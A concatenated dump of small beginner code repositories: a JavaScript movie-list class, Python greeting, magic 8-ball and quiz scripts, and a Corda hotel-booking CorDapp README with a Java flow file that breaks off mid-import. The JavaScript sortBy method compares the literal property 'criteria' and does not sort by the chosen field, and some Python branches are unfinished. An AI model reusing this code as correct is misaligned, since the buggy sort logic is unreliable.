[]; this.movies.forEach(movie => { set.add(movie.year); }); set.forEach(year => { listByYear.push(year); }); return listByYear.sort(); } listByGenre() { const set = new Set(); const listByGenre = []; this.movies.forEach(movie => { set.add(movie.genre); }); set.forEach(genre => { listByGenre.push(genre); }); return listByGenre.sort(); } sortBy(criteria) { return this.movies.sort(function(a, b) { if (a.criteria > b.criteria) { return 1; } if (a.criteria < b.criteria) { return -1; } return 0; }); } } module.exports = Movies;
1648bae88760c7d088d9619176dd77c849bf2d3e
[ "JavaScript" ]
2
JavaScript
leotocca/movie-api
6a95caaa7fca9d65a6aadc5e9895eae26b78a5c3
9fad904713cc0440a0545882e9f68c60b856bce3
refs/heads/master
<file_sep>print("hello world") name = input("What is your name?").strip().title() print("Hi there {}".format(name)) age_in_years = input("What is your age") age_in_years = int(age_in_years) print("Haha nerd, you're only {} years old".format(age_in_years)) print("ok, all joking aside, not that bad") print(''' You awake dazed and confused. You have to go and try to redeem your friend named Shawshank. It appears that he was taken away from you and dragged into the wild.''') action =input('''You see two doors. The Red Door says STOP, DON'T ENTER!!! The Blue one says hello friend, if you would like to save your friend, come this way.''') def welcome(): print("Welcome") #--------------------------------- def hello(name=''): print("hello {}".format(name)) #--------------------------------- def ask_name(): name = input("What is your name? ").strip().title() return name ################################## welcome() <file_sep>import random import time answers = ['Yes', 'No', 'Maybe',] print('Welcome to the magic 8 ball') while True: print('What is your question?') question = input('> ') if question.startswith('what is love'): print('Baby don\'t hurt me.') time.sleep(2) print('no more') elif 'love' in question: print('Dayum shawty, you lookin\' fo love, come dis way') answer = random.choice(answers) print(answer) <file_sep>print("hello world") name = input ("What is your name") print ("That's interesting" + name) age = input ("What is your age?").strip() age1 = input ("That's cool, what is your friends age").strip() age = int(age) age1 = int(age1) years_apart = abs (age1 - age) print ("You are {} years apart".format(years_apart)) <file_sep>def ask(question): answer = input(question) answer = answer.strip().lower() return answer def ask_color(): return ask("What is your favorite color?") def live(): print("Correct, you may pass") def die(): print("Thou art cast into the Gorge of Eternal Peril.") print("You are dead.") ##################################################### name = ask("what is your name") quest = ask("what is your quest") if name == 'lancelot': color = ask_color() elif name == 'robin': capital = ask("What is the capital of Assyria?") elif name == 'galahad': color = ask_color() elif name == 'arthur': answer = ask("What is the air speed velocity of an unlaiden swallow") else: color = ask_color()
8eed5ba2ebeb6e76a2dcf1841ef99cdc6d1b370e
[ "Python" ]
4
Python
samhorn/python-projects
9cd3da5421869d79532c3a4686b56dcf89d053f1
dd54a38693707f0d02e4bdcc4a884cb2e46e2f59
refs/heads/master
<repo_name>jondavidchristopher/maps-phone-gap<file_sep>/README.md maps-phone-gap ========== playing with phone gap <file_sep>/platforms/ios/www/js/app.js $(function() { $(document).bind("deviceready", function() { App = Ember.Application.create(); // Models // Placeholder for environments App.Environment = Ember.Object.extend({ // these will be supplied by `create` someVariable: null, remoteURL: function() { return this.get('firstName') + ' ' + this.get('lastName'); }.property('firstName', 'lastName') }); // Routes App.Router.map(function() { this.resource('joyride'); this.resource('signin'); this.resource('signup'); this.resource('forgot_password'); this.resource('geolocate'); this.resource('geolocate-failure'); this.resource('bars'); }); App.IndexRoute = Ember.Route.extend({ beforeModel: function() { this.transitionTo('joyride'); } }); App.SigninRoute = Ember.Route.extend({ setupController: function(controller, context) { controller.reset(); } }); App.JoyrideRoute = Ember.Route.extend({ // Do amazing story here }); App.GeolocateRoute = Ember.Route.extend({ // Get current Location model: function() { navigator.geolocation.getCurrentPosition( $.proxy(this.onSuccess, this), $.proxy(this.onError, this), {timeout: 15000, enableHighAccuracy: true} ); }, onSuccess: function(position) { alert('Latitude: ' + position.coords.latitude + '\n' + 'Longitude: ' + position.coords.longitude); }, onError: function(error) { this.transitionTo('geolocate-failure'); } }); App.BarsRoute = Ember.Route.extend({ model: function() { } }); // Controllers App.SigninController = Ember.Controller.extend({ reset: function() { this.setProperties({ username: "", password: "", errorMessage: "" }); }, signin: function() { var self = this, data = this.getProperties('username','password'); // Clear out any error messages. this.set('errorMessage', null); Ember.$.post('localhost:3000/api/v1/login', data).then(function(response) { self.set('errorMessage', response.message); if (response.success) { self.set('token', response.token); } }); } }); }); });<file_sep>/www/js/app.js $(function() { $(document).bind("deviceready", function() { App = Ember.Application.create(); // Routes App.Router.map(function() { this.resource('joyride'); this.resource('signin'); this.resource('signup'); this.resource('forgot_password'); this.resource('geolocate'); this.resource('geolocate-failure'); this.resource('bars'); }); App.IndexRoute = Ember.Route.extend({ beforeModel: function() { this.transitionTo('joyride'); } }); App.JoyrideRoute = Ember.Route.extend({ // Do amazing story here }); App.GeolocateRoute = Ember.Route.extend({ // Get current Location model: function() { navigator.geolocation.getCurrentPosition( $.proxy(this.onSuccess, this), $.proxy(this.onError, this), {timeout: 15000, enableHighAccuracy: true} ); }, onSuccess: function(position) { alert('Latitude: ' + position.coords.latitude + '\n' + 'Longitude: ' + position.coords.longitude); }, onError: function(error) { this.transitionTo('geolocate-failure'); } }); App.BarsRoute = Ember.Route.extend({ model: function() { } }); // Controllers App.SigninController = Ember.Controller.extend({ signin: function() { var data = this.getProperties('email','password'); api.call ("login", data, $.proxy(function(response) { if (response.errors) { $(".well").addClass("has-error"); this.set('errorMessage', response.errors); } else { api.set('token', response.token); this.transitionTo('geolocate'); } }, this)); } }); // Service Objects App.Api = Ember.Object.extend({ url: null, version: null, token: null, call: function(endpoint, data, callback) { if (this.get("token")) { 'auth_token='+ this.get("token") + '&' + data } $.ajax({ type: "GET", dataType: "jsonp", url: this.get("url") + "/api/" + this.get("version") + "/" + endpoint, cache: false, timeout: 3000, data: data, success: callback, error: function(data){ console.log(data); } }); } }); App.Environment = Ember.Object.extend({ // Placeholder for environments someVariable: null, remoteURL: function() { return this.get('firstName') + ' ' + this.get('lastName'); }.property('firstName', 'lastName') }); // Initialize App var api = App.Api.create({ url: "http://localhost:3000", version: "v1" }); }); });<file_sep>/platforms/ios/www/js/index.js $(function() { $(document).bind("deviceready", function() { $("#joyride").removeClass('hidden').hide().fadeIn('fast'); geoLocation.initialize(); }); }); var geoLocation = { initialize: function() { navigator.geolocation.getCurrentPosition(this.onSuccess, this.onError); }, onSuccess: function(position) { alert('Latitude: ' + position.coords.latitude + '\n' + 'Longitude: ' + position.coords.longitude + '\n' + 'Altitude: ' + position.coords.altitude + '\n' + 'Accuracy: ' + position.coords.accuracy + '\n' + 'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '\n' + 'Heading: ' + position.coords.heading + '\n' + 'Speed: ' + position.coords.speed + '\n' + 'Timestamp: ' + new Date(position.timestamp) + '\n'); }, onError: function (error) { error.PERMISSION_DENIED error.POSITION_UNAVAILABLE error.TIMEOUT alert('code: ' + error.code + '\n' + 'message: ' + error.message + '\n'); } };
c57b6a379954852e8526b5b72b44b63bc1040e41
[ "Markdown", "JavaScript" ]
4
Markdown
jondavidchristopher/maps-phone-gap
51c11a7f15317cb53655cdf9c38d8b52f9a2437c
6031cf574ff359a0d29879d0ce1493d8ea7a937b
refs/heads/master
<file_sep>var util = require('util'); var request = require('request'); var xml2js = require('xml2js').parseString; //request stuff request = request.defaults({jar: true}); var cookie; var optionsBody = '<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="etapestryAPI/service"> <SOAP-ENV:Body> <tns:login xmlns:tns="etapestryAPI/service"> <String_1 xsi:type="xsd:string">' + loginId + '</String_1> <String_2 xsi:type="xsd:string">' + loginPassword + '</String_2> </tns:login> </SOAP-ENV:Body> </SOAP-ENV:Envelope>'; var queryOptions = { url: 'https://sna.etapestry.com/v3messaging/service?WSDL', headers: { 'Content-Type': 'text/xml', 'charset': 'UTF-8', 'JSESSIONID': cookie }, body: '<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="etapestryAPI/service" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <tns:getQueryResultStats xmlns:tns="etapestryAPI/service"> <String_1 xsi:type="xsd:string">Base</String_1> <String_2 xsi:type="xsd:string">ncsoTotal</String_2> </tns:getQueryResultStats> </SOAP-ENV:Body> </SOAP-ENV:Envelope>' }; var options = { url: 'https://sna.etapestry.com/v3messaging/service?WSDL', jar: true, headers: { 'Content-Type': 'text/xml', 'charset': 'UTF-8' }, body: optionsBody }; module.exports = { login: function() { request.post(options , function(err, res, body) { if (!err && res.statusCode == 200) { console.log(body); console.log(JSON.stringify(res, 0, 2)); var cookies = res.headers['set-cookie'][0]; cookies = cookies.split(';'); cookie = cookies[0].split('=')[1]; console.log(cookie); update(); } }); }, update: function() { request.post(queryOptions, function(err, res, body) { if (!err && res.statusCode == 200) { var parsedJson = xml2js(res.body, function(err, resultJson) { console.log(util.inspect(resultJson, false, null)); totalRaised = resultJson['env:Envelope']['env:Body'][0]['ns0:QueryResultStats'][0]['gifted'][0]['_']; console.log(totalRaised); }); } else if (err) { console.log(err) } }); } }; // var totalRaised; function requestJournalEntries() { } //end request stuff<file_sep>var constants = { // File patterns for app, component, and debug templates (used for dev vs prod compilation) APP_TEMPLATES: ['src/app/**/*.tpl.html', '!src/app/**/*.debug.tpl.html'], APP_DEBUG_TEMPLATES: ['src/app/**/*.debug.tpl.html'], COMPONENT_TEMPLATES: ['src/components/**/*.tpl.html', '!src/components/**/*.debug.tpl.html'], COMPONENT_DEBUG_TEMPLATES: ['src/components/**/*.debug.tpl.html'], // File pattern for the production JS files (all JS minus all development files) APP_JS_FILES: [ 'src/**/*.js', '!src/**/*.spec.js' ], VENDOR_ASSET_FILES: [ 'vendor/bootstrap/fonts/*', 'src/assets/**/*' ], VENDOR_CSS_FILES: [ 'vendor/angular-ui-select/dist/select.css', 'vendor/angular-busy/dist/angular-busy.min.css' ], // Canonical list of 3rd party files that need to be built into the minified JS file. VENDOR_JS_FILES: [ 'vendor/angular/angular.js', 'vendor/angular-bootstrap/ui-bootstrap-tpls.min.js', // 'vendor/angular-ui-router/release/angular-ui-router.js', // 'vendor/angular-bootstrap-show-errors/src/showErrors.min.js', // 'vendor/underscore/underscore.js', // 'vendor/restangular/dist/restangular.js', // 'vendor/angular-translate/angular-translate.js', // 'vendor/steelToe/steelToe.js', // 'vendor/angular-translate-loader-static-files/angular-translate-loader-static-files.js', 'vendor/ngstorage/ngStorage.min.js', // 'vendor/angular-ui-utils/ui-utils.min.js', // 'vendor/angular-base64/angular-base64.min.js', // 'vendor/angular-ui-select/dist/select.min.js', // 'vendor/angular-payments/lib/angular-payments.min.js', // 'vendor/angular-busy/dist/angular-busy.min.js', ] }; module.exports = constants; <file_sep> module.exports = function(app) { app.directive('footer', function() { return { restrict: 'A', replace: true, templateUrl: './partials/footer.tpl.html', controller: 'mainController' } }); }; <file_sep>module.exports = function(app) { app.factory('soapService', ['$soap', function($soap) { // var baseUrl = 'https://sna.etapestry.com/v3messaging/service?WSDL'; var baseUrl = '/proxy'; $soap.setCredentials('ajhurlimantest', '<PASSWORD>'); return { addAccount: function() { return $soap.post(baseUrl, 'addAccount', { account: { nameFormat: 1, country: 'US' }, createFieldAndValues: true }); } }; }]); };
3034193c2e72f64a7e6db352c6fe84f9ba604145
[ "JavaScript" ]
4
JavaScript
ajhurliman/marysPlace
bd770ccf9084432a4078b891f860fd9ce4348a8f
6e21e5508df0ff39f2452550b834ac9dd7d88d37
refs/heads/master
<file_sep># -*- mode: python -*- import os import os.path import PyInstaller.compat import PyInstaller.utils.hooks binaries = [] block_cipher = None datas = [] datas += PyInstaller.utils.hooks.collect_data_files("bioformats") datas += PyInstaller.utils.hooks.collect_data_files("cellprofiler") datas += PyInstaller.utils.hooks.collect_data_files("javabridge") datas += PyInstaller.utils.hooks.collect_data_files("prokaryote") datas += PyInstaller.utils.hooks.collect_data_files("skimage.io._plugins") datas += [ ("CellProfiler/cellprofiler/data/images/*", "cellprofiler/data/images"), ("CellProfiler/cellprofiler/data/icons/*", "cellprofiler/data/icons") ] hiddenimports = [] hiddenimports += PyInstaller.utils.hooks.collect_submodules('cellprofiler.modules') hiddenimports += PyInstaller.utils.hooks.collect_submodules('skimage.io._plugins') hiddenimports += [ "scipy._lib.messagestream", "pywt._extensions._cwt" ] a = Analysis( [ 'CellProfiler.py' ], binaries=binaries, cipher=block_cipher, datas=datas, excludes=[], hiddenimports=hiddenimports, hookspath=[], pathex=[ 'CellProfiler' ], runtime_hooks=[], win_no_prefer_redirects=False, win_private_assemblies=False ) pyz = PYZ( a.pure, a.zipped_data, cipher=block_cipher ) exe = EXE( pyz, a.scripts, a.binaries, a.zipfiles, a.datas, console=False, debug=False, icon="./CellProfiler/cellprofiler/data/icons/CellProfiler.ico", name="CellProfiler", strip=False, upx=True ) <file_sep>FROM ubuntu:16.04 # Install CellProfiler dependencies RUN apt-get -y update && \ apt-get -y install \ build-essential \ cython \ git \ libmysqlclient-dev \ libhdf5-dev \ libxml2-dev \ libxslt1-dev \ openjdk-8-jdk \ python-dev \ python-pip \ python-h5py \ python-matplotlib \ python-mysqldb \ python-scipy \ python-numpy \ python-wxgtk3.0 \ python-zmq WORKDIR /usr/local/src # Install CellProfiler RUN git clone https://github.com/CellProfiler/CellProfiler.git WORKDIR /usr/local/src/CellProfiler ARG version=3.0.0 RUN git fetch -a RUN git pull RUN git checkout tags/v$version RUN pip install --editable . # Fix init and zombie process reaping problems using s6 overlay ADD https://github.com/just-containers/s6-overlay/releases/download/v1.21.2.2/s6-overlay-amd64.tar.gz /tmp/ RUN tar -xzf /tmp/s6-overlay-amd64.tar.gz -C / ENTRYPOINT ["/init", "cellprofiler"] CMD ["--run", "--run-headless", "--help"]
42e24bffca5c977a69809cc37d449b1c1d22e13a
[ "Python", "Dockerfile" ]
2
Python
GenevieveBuckley/distribution
54761fadbf63a57982232a7c53efa47d23eae827
80c85ddf95e23b16c1c2ec71ed48376e24f22575
refs/heads/master
<file_sep>#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Nov 1 22:18:01 2017 @author: michael """ import pandas as pd from numpy import mean import spacy as sp import os # Change working directory os.chdir("/Users/michael/Documents/Kaggle/Spooky_Authors") # Load SpaCy's english model nlp = sp.load('en') # Read in the dialogues location = "train.csv" t_df = pd.read_csv(location) # Process dialogues in SpaCy t_df['parsed'] = t_df.iloc[:,1].apply(nlp) # Determine volume of mentions of people def people_freq(tokenized): return len([(ent.text) for ent in tokenized.ents if ent.label_ == "PERSON"])/len(tokenized) # Apply function to return - PERSON t_df['ENTITIES'] = t_df.loc[:,['parsed']].iloc[:,0].apply(people_freq) # Helper function for returning desired spacy POS tags def get_pos(tokenized): return [(token.pos_) for token in tokenized] # Get POS tags for df t_df['pos'] = t_df.loc[:,['parsed']].iloc[:,0].apply(get_pos) # Helper function to measure frequency of PoS for each PoS type def pos_freq(pos_list,pos_type): return pos_list.count(pos_type)/len(pos_list) # Define PoS that we're interested in pos_types = ['ADP','NUM','VERB','PART','ADV','PRON','INTJ','PUNCT','CCONJ', 'SYM','ADJ','NOUN','PROPN','X','DET'] # Apply PoS count function on dataframe for pos_type in pos_types: t_df[pos_type] = t_df['pos'].apply(lambda x: pos_freq(x,pos_type)) # Remove PoS field del(t_df['pos']) # Get sentence length def sent_length(tokenized): return len([token.text for token in tokenized]) # Apply function on corpus t_df['WCOUNT'] = t_df['parsed'].apply(sent_length) # Create function to return frequency of specified punct types def punct_freq(tokenized, punct_type): return len([token.text for token in tokenized if token.text == punct_type])/len(tokenized) # Apply function on corpus to get punct counts punct_types = {"DQUOTE":'"','SQUOTE': "'","COMMA": ",","PERIOD":".", "ELLIPSES": "...", "SEMICOLON":";","COLON":":","QUESTION":"?"} for key, value in punct_types.items(): t_df[key] = t_df['parsed'].apply(lambda x: punct_freq(x,value)) # Create function to return frequency of superlatives def sup_freq(tokenized): return len([token.text for token in tokenized if token.pos_ == "ADJ" and "est" in token.text.lower()])/len(tokenized) t_df['SUPERL'] = t_df['parsed'].apply(sup_freq) # Create function for average word length def avg_word_length(tokenized): return mean([len(token.text) for token in tokenized]) t_df['AVG_WORDLEN'] = t_df['parsed'].apply(avg_word_length) # Create function for max word length def max_word_length(tokenized): return max([len(token.text) for token in tokenized]) t_df['MAX_WORDLEN'] = t_df['parsed'].apply(max_word_length) # Create integer encoding of authors auth_map = {"HPL":0, "MWS":1,"EAP":2} def auth_mapper(string): return auth_map[string] t_df['author_num'] = t_df['author'].apply(auth_mapper) t_df.to_csv("t_df.csv")
ac5aad2bc268cae3ed441f35e9e800caea320627
[ "Python" ]
1
Python
mq545/spooky_authors
8c5edd40ec6b0e2da793f7329007d440b5a82f91
ab9095bc3215fd34278faa1ea3145629bbf39911
refs/heads/main
<repo_name>Abhi6722/google-hash-code-2021<file_sep>/program.cpp #include <bits/stdc++.h> using namespace std; #define sqr(a) ((a) * (a)) #define debug(...) fprintf(stderr, __VA_ARGS__) // #define debugl(...) fprintf(stderr, __VA_ARGS__) // #define debugl(...) fprintf(flog, __VA_ARGS__) #define debugl(...) typedef long long ll; typedef pair<int, int> pii; typedef pair<ll, ll> pll; #define MAXN 100100 int D, I, S, V, F; map<string,int> streetIds; vector<string> streetNames; struct Street { int B, E, L; string name; int id; void read() { static char buffer[101]; scanf("%d%d%s%d", &B, &E, buffer, &L); name = buffer; id = streetIds.size(); streetIds[name] = id; streetNames[id] = name; } }; struct Car { vector<int> path; void read() { int n; scanf("%d", &n); path.resize(n); for (int i = 0; i < n; ++i) { static char buffer[101]; scanf("%s", buffer); path[i] = streetIds[buffer]; } } }; vector<pair<int,int>> adj[MAXN]; vector<pair<int,int>> adji[MAXN]; vector<Street> streets; vector<Car> cars; bool used[MAXN]; vector<vector<int>> simulate() { vector<vector<int>> X(I); for (int i = 0; i < I; ++i) { int cnt = 0; for (pii v : adji[i]) { if (used[v.second]) { cnt++; } } X[i].resize(cnt, -1); } vector<int> Xi(S, -1); // queue for each intersections vector<queue<int>> q; q.resize(S); // events is "releasing a car from an intersection queue" // events[T] = queue<street id to process> vector<queue<int>> events; events.resize(D + 1); // qevents is "a car entering an intersection queue" // qevents[T] = queue<street id, car id> vector<queue<pair<int, int>>> qevents; qevents.resize(D + 1); // events are triggered by: // - a car entering a queue // at T = 0, initialize all cars at the end of the streets vector<int> p; // index of car path p.resize(V); for (int i = 0; i < V; ++i) { int streetId = cars[i].path[p[i]]; qevents[0].emplace(streetId, i); } vector<int> arrival; arrival.resize(V, -1); for (int t = 0; t <= D; ++t) { debugl("T = %d\\n", t); debugl("qevents.size() = %d\\n", (int)qevents[t].size()); // insert cars into queue while (!qevents[t].empty()) { auto front = qevents[t].front(); qevents[t].pop(); int streetId = front.first; int carId = front.second; if (q[streetId].empty()) { events[t].push(streetId); } q[streetId].push(carId); debugl("\\t<streetId = %s, carId = %d>\\n", streetNames[streetId].c_str(), carId); } debugl("events.size() = %d\\n", (int)events[t].size()); while (!events[t].empty()) { int id = events[t].front(); events[t].pop(); debugl("\\t<streetId = %s>\\n", streetNames[id].c_str()); queue<int>& qs = q[id]; assert(!qs.empty()); int iid = streets[id].E; int _t = t; int cycle = X[iid].size(); int mod = t % cycle; // check if id is assigned if (Xi[id] != -1) { debugl("\\talready assigned: %d\\n", Xi[id]); int cycle = X[iid].size(); _t = cycle * (t / cycle) + Xi[id]; if (_t < t) { _t += cycle; } } else if (X[iid][mod] == -1) { debugl("\\tempty!\\n"); // assign it right away X[iid][mod] = id; Xi[id] = mod; debugl("\\tAssigning <streetId = %s> = %d in <intersectionId = %d>\\n", streetNames[id].c_str(), mod, iid); } else { // now what? // just defer to t+1 I guess _t = t + 1; } if (t != _t) { if (_t <= D) { events[_t].push(id); } } else { // take single car in the queue int c = qs.front(); qs.pop(); p[c]++; assert(p[c] < cars[c].path.size()); int snext = cars[c].path[p[c]]; int inext = streets[snext].E; int tnext = t + streets[snext].L; debugl("\\tprocessing <car = %d>: snext = %s, inext = %d, tnext = %d\\n", c, streetNames[snext].c_str(), inext, tnext); if (tnext <= D) { // arrive! if (p[c] == cars[c].path.size() - 1) { arrival[c] = tnext; } else { qevents[tnext].emplace(snext, c); } } // reinsert self into events if queue is still not empty if (!qs.empty() && t < D) { events[t + 1].push(id); } debugl("\\tdone processing <car = %d>\\n", c); } } } // assign what's left randomly int maxslots = 0; for (int i = 0; i < I; ++i) { vector<int> slots; for (int j = 0; j < X[i].size(); ++j) { if (X[i][j] == -1) { slots.push_back(j); } } maxslots = max(maxslots, (int)slots.size()); for (pii v : adji[i]) { if (used[v.second] && Xi[v.second] == -1) { Xi[v.second] = slots.back(); X[i][slots.back()] = v.second; slots.pop_back(); } } } debugl("maxslots = %d\\n", maxslots); debugl("arrival:\\n"); int score = 0; for (int c = 0; c < V; ++c) { if (arrival[c] == -1) continue; assert(arrival[c] <= D); score += F + D - arrival[c]; debugl("<car = %d> arrived at %d\\n", c, arrival[c]); } debug("score = %d\\n", score); for (int i = 0; i < I; ++i) { for (int j = 0; j < X[i].size(); ++j) { assert(X[i][j] != -1); } } return X; } int main(int argc, char** argv) { srand(0); scanf("%d%d%d%d%d", &D, &I, &S, &V, &F); streets.resize(S); streetNames.resize(S); for (int i = 0; i < S; ++i) { streets[i].read(); adj[streets[i].B].emplace_back(streets[i].E, streets[i].id); adji[streets[i].E].emplace_back(streets[i].B, streets[i].id); } cars.resize(V); for (int i = 0; i < V; ++i) { cars[i].read(); for (int s : cars[i].path) { used[s] = true; } } auto X = simulate(); vector<vector<pair<int,int>>> ans; for (int v = 0; v < I; ++v) { vector<pair<int,int>> schedule; for (int x : X[v]) { schedule.emplace_back(x, 1); } ans.emplace_back(schedule); } assert(ans.size() == I); int nans = 0; for (int v = 0; v < I; ++v) { if (ans[v].size()) { nans++; } } printf("%d\\n", nans); for (int v = 0; v < I; ++v) { if (!ans[v].size()) continue; printf("%d\\n%d\\n", v, (int)ans[v].size()); for (auto y : ans[v]) { printf("%s %d\\n", streetNames[y.first].c_str(), y.second); } } return 0; } """ # %% [code] import os with open('program.cpp','w') as f: f.write(code) f.close() !g++ program.cpp && ./a.out < ../input.txt > output.txt # %% [code] # cleanup !rm -f a.out log
fe0eacec2f7a3af293165d48dce9ff167b582a4a
[ "C++" ]
1
C++
Abhi6722/google-hash-code-2021
cf1c6d5af3bede415d8aabdf866f4c5bb9b0d98c
454bd40fe9a2baffffcf43431f49f2021db50bfa
refs/heads/master
<file_sep>package com.example.hp.guess_number; import android.content.Intent; import android.graphics.Typeface; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends AppCompatActivity implements View.OnClickListener{ Button game,tutorial,exit; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); init(); } private void init(){ Typeface dn = Typeface.createFromAsset(getAssets(),"fonts/dastnevis.ttf"); TextView tv = (TextView) findViewById(R.id.tv_test); game = (Button) findViewById(R.id.game); tutorial = (Button) findViewById(R.id.tutorial); exit = (Button) findViewById(R.id.exit); tv.setTypeface(dn); game.setTypeface(dn); tutorial.setTypeface(dn); exit.setTypeface(dn); game.setOnClickListener(this); tutorial.setOnClickListener(this); exit.setOnClickListener(this); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.game: Intent intentgame = new Intent(MainActivity.this,Game.class); startActivity(intentgame); break; case R.id.tutorial: Intent intent = new Intent(MainActivity.this,tutorial.class); startActivity(intent); break; case R.id.exit: finish(); System.exit(0); break; } } } <file_sep>package com.example.hp.guess_number; import android.graphics.Typeface; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.Button; import android.widget.TextView; public class tutorial extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_tutorial); init(); } private void init(){ Typeface dn = Typeface.createFromAsset(getAssets(),"fonts/dastnevis.ttf"); TextView tv = (TextView) findViewById(R.id.guess_title); TextView desc = (TextView) findViewById(R.id.description); tv.setTypeface(dn); desc.setTypeface(dn); } } <file_sep>package com.example.hp.guess_number; import android.content.Intent; import android.graphics.Typeface; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; public class Game extends AppCompatActivity implements View.OnClickListener { Button easy,medium,hard; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_game); init(); } private void init(){ Typeface dn = Typeface.createFromAsset(getAssets(),"fonts/dastnevis.ttf"); TextView tv = (TextView) findViewById(R.id.level_title); easy = (Button) findViewById(R.id.easy); medium = (Button) findViewById(R.id.medium); hard = (Button) findViewById(R.id.hard); tv.setTypeface(dn); easy.setTypeface(dn); medium.setTypeface(dn); hard.setTypeface(dn); easy.setOnClickListener(this); medium.setOnClickListener(this); hard.setOnClickListener(this); } @Override public void onClick(View v) { Intent intent =new Intent(this, GamePane.class); switch(v.getId()){ case R.id.easy: intent.putExtra("level","easy"); break; case R.id.medium: intent.putExtra("level","medium"); break; case R.id.hard: intent.putExtra("level","hard"); break; } startActivity(intent); } }
bcb6cef9b7ea84d1afe0ca68e85d1727ec810a23
[ "Java" ]
3
Java
hamed1992/Guess_number
07c2443152b43e7e740764b184c8526b94c8d6d2
a6c7a5a05a79dab7afaa8a41fb5448d72df1aaaa
refs/heads/master
<file_sep>#!/usr/bin/env bash # Little helper command for packaging an ALGO VPN user's credentials # It will package all user-specific files and the VPN's certificate # TODO Include a small README linking to client setup instructions # TODO Possibly a bad idea? but maybe add param to package user password set -o errexit set -o pipefail set -o nounset if [[ "${DEBUG:-false}" == "true" ]]; then set -o xtrace fi usage() { echo "Usage: $0 <username>" exit 1 } main () { if [[ "$#" -lt 1 ]]; then usage fi declare username="$1" pushd ~ubuntu/algo/configs > /dev/null find . -name "*${username}*" -exec tar cf ~ubuntu/"$username".tar \ ./192.168.127.12/cacert.pem {} \+ popd > /dev/null echo "$username has been generated!" } main "$@"
edaf67d0f6dd92257810a5a457df399b570f20b9
[ "Shell" ]
1
Shell
rustodon/devops
0605a3ecf1dcf43c1c591c34297f1c18beda75e2
7c954386c018665b08011f795abc2c912315f2ab
refs/heads/master
<file_sep>import com.asiainfo.kafkasink.*; import org.apache.commons.lang.StringUtils; /** * Created by yang on 2017/12/8. */ public class Test { public static void main(String args[]){ String posi2g="start_time,1,460000001344554443,imei,tmsi_o,start_lac,start_ci,end_lac,end_ci,msisdn"; String call2g="start_time,1,calling,called,460000001344554443,imei,tmsi_o,start_lac,start_ci,end_lac,end_ci"; String sms2g="start_time,0,calling,460000001344554443,imei,tmsi,start_lac,start_ci,called"; String posi3g="start_time,0,460000001344554443,IMEI,TMSI,MCC,MNC,LAC,SAC,oldLAC,oldSAC"; String call3g="start_time,0,calling,called,460000001344554443,IMEI,TMSI,LAC,SAC,endLAC,endSAC"; String sms3g="start_time,1,calling,called,460000001344554443,IMEI,TMSI,LAC,SAC"; String result21=new YunNan2GMessagePreprocessor().transformMessage(posi2g); String result22=new YunNan2GCallPreprocessor().transformMessage(call2g); String result23=new YunNan2GSmsPreprocessor().transformMessage(sms2g); String result31=new YunNan3GMessagePreprocessor().transformMessage(posi3g); String result32=new YunNan3GCallPreprocessor().transformMessage(call3g); String result33=new YunNan3GSmsPreprocessor().transformMessage(sms3g); System.out.println(result21); System.out.println(result22); System.out.println(result23); System.out.println(result31); System.out.println(result32); System.out.println(result33); } }
fbfe86744eb17d87a549e6ea96ed6fb0bb294cf3
[ "Java" ]
1
Java
raindaywhu/AsiaInfoKafkaSink
26eb9e4fcafb02118c2cbb49f2e56291ff52a589
46ffa54a20bb196e8bde91230dfb84694c70954c
refs/heads/master
<file_sep><p align="center"> <img src="https://www.corda.net/wp-content/uploads/2016/11/fg005_corda_b.png" alt="Corda" width="500"> </p> # Hotel Booking Cordapp Template - Java Our use-case: MakeMyTrip is online hotel booking services which allow its customer to book rooms online on LemonTree’s hotel chain. As per the agreement, MakeMyTrip collects certain information from its customer and send to LemonTree, LemonTree in return sends an acknowledgement to MakeMyTrip. So, here we are building an application HotelBookingCorDapp for MakeMyTrip. There are two parties in HotelBookingCorDapp. MakeMyTrip LemonTree MakeMyTrip will send the following details to LemonTree to book a stay as requested by their customer. Customer name, Customer Age, Check In Date, Check out Date, Room Type, Original Room Rate, Booking Amount (After 15% commission deduction on room rate) 5 constraints should be meet before sending booking detail to HotelHeaven: Customer Age should be greater than 18. Check in and Check Out date Should be Future Date. Check Out date should be greater than Check in date. Room Type format is from this only: Standard or Delux After commission price should be 85% of Original room price. Run at terminal: flow start BookingInitiatorFlow customerName: Arijit,customerAge: 30,checkInDate: "2020-10-23T10:12:35Z",checkOutDate: "2020-10-24T10:12:35Z",roomType: Delux,roomRate: 4000,bookingAmount: 3400,LemonTree: "O=LemonTree,L=New York,C=US" <file_sep>package com.template.flows; import co.paralleluniverse.fibers.Suspendable; import com.template.contracts.BookingContract; import com.template.states.BookingState; import net.corda.core.flows.*; import net.corda.core.identity.Party; import net.corda.core.transactions.SignedTransaction; import net.corda.core.transactions.TransactionBuilder; import net.corda.core.utilities.ProgressTracker; import java.time.Instant; import java.util.Collection; import java.util.Collections; import java.util.List; import static 